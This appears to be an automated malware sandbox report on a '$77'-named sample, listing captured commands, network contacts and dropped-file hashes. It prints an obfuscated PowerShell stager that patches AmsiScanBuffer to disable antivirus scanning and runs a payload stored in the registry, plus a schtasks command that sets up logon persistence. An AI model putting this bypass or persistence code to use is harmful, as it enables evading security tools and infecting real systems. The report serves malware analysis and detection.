$_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'ro'+'s'+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+'n'+'3'+''+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+''+[Char](116)+'i'+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'hod'+'s'+'');$mrTAGOxMImyDmj=$yyojQTtxCfSnI.GetMethod(''+[Char](71)+'et'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+'A'+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c'+','+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JaCeBBsAfsErqPBefOq=cGMeUGbQwrUv @([String])([IntPtr]);$UiEkmYxvdURwPmuJIbXHnK=cGMeUGbQwrUv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eMjwxkfWWoA=$yyojQTtxCfSnI.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+'o'+''+[Char](100)+'ul'+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object]('kern'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$linFdlzdfFGtts=$mrTAGOxMImyDmj.Invoke($Null,@([Object]$eMjwxkfWWoA,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+'L'+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+'ryA')));$MLgpJhmpOvyryFfje=$mrTAGOxMImyDmj.Invoke($Null,@([Object]$eMjwxkfWWoA,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+'al'+'P'+'r'+[Char](111)+'te'+'c'+'t')));$SzYSnFW=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($linFdlzdfFGtts,$JaCeBBsAfsErqPBefOq).Invoke('a'+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$igBeVBuvnHTmziqrM=$mrTAGOxMImyDmj.Invoke($Null,@([Object]$SzYSnFW,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+'f'+'e'+'r')));$COqrNkTiDi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MLgpJhmpOvyryFfje,$UiEkmYxvdURwPmuJIbXHnK).Invoke($igBeVBuvnHTmziqrM,[uint32]8,4,[ref]$COqrNkTiDi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$igBeVBuvnHTmziqrM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MLgpJhmpOvyryFfje,$UiEkmYxvdURwPmuJIbXHnK).Invoke($igBeVBuvnHTmziqrM,[uint32]8,0x20,[ref]$COqrNkTiDi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$7'+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+'er')).EntryPoint.Invoke($Null,$Null)"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"' & exit
C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | discord.com | udp |
| US | 162.159.136.232:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 144.107.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.136.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| NL | 23.62.61.97:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 97.61.62.23.in-addr.arpa | udp |
| US | 147.185.221.19:42571 | tcp | |
| US | 8.8.8.8:53 | 19.221.185.147.in-addr.arpa | udp |
Files
memory/2144-0-0x00000000744DE000-0x00000000744DF000-memory.dmp
memory/2144-1-0x0000000000480000-0x00000000005F0000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
| MD5 | 77a71f3a441aa3bf824967e52413bec5 |
| SHA1 | c3d6df5cfc5eefaadf9bcb3703484e3cadf79588 |
| SHA256 | 1e6c87e492d90fbc4b9d2a16676a58735e33861f780c6c3020869337a0ccfc82 |
| SHA512 | 31c413cb410b366b63f0e763e288c2795584f9c7fda41eeea45f7d32a853da87e3ab58a144ff02a75b1d1803c7fef9fe3d561133a50a4e600799ed6f9050fd5b |
memory/3320-64-0x00007FFFFA653000-0x00007FFFFA655000-memory.dmp
memory/3320-65-0x0000000000A80000-0x0000000000A92000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
| MD5 | 499861c56b2368cb123c027336370b92 |
| SHA1 | c018376876cc5906681502bdc4c313e9ce4bd6ad |
| SHA256 | 146a6db11db984e114e8942aa9a684f3c33c8348029cc1406754f134adbb3930 |
| SHA512 | c585a7e0cf0c860863699a13ae6843babbf13b13246715e9ae5ba8296b4037ee839c09b3648250c6a3687ee01e2ad5a65ebc77aabd42bd3ad7398d6b57f9e077 |
C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
| MD5 | 18f497deffe88b6b2cff336a277aface |
| SHA1 | 4e1413241d3d3e4dbff399d179f8fd64f3ecd39e |
| SHA256 | 8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5 |
| SHA512 | 35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d |
memory/4984-127-0x0000000000600000-0x0000000000616000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\$77-install.exe
| MD5 | 1a7d1b5d24ba30c4d3d5502295ab5e89 |
| SHA1 | 2d5e69cf335605ba0a61f0bbecbea6fc06a42563 |
| SHA256 | b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5 |
| SHA512 | 859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa |
memory/756-188-0x0000000000F50000-0x0000000000F96000-memory.dmp
memory/756-216-0x0000000002EF0000-0x0000000002EF6000-memory.dmp
memory/4528-222-0x000001F4B48E0000-0x000001F4B4902000-memory.dmp
C:\Windows\Temp\__PSScriptPolicyTest_g3hgnhhh.oug.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4528-231-0x000001F4B4C80000-0x000001F4B4CAA000-memory.dmp
memory/4528-232-0x00007FF8195D0000-0x00007FF8197C5000-memory.dmp
memory/4528-233-0x00007FF819190000-0x00007FF81924E000-memory.dmp
memory/4528-234-0x00007FF643530000-0x00007FF6435A1000-memory.dmp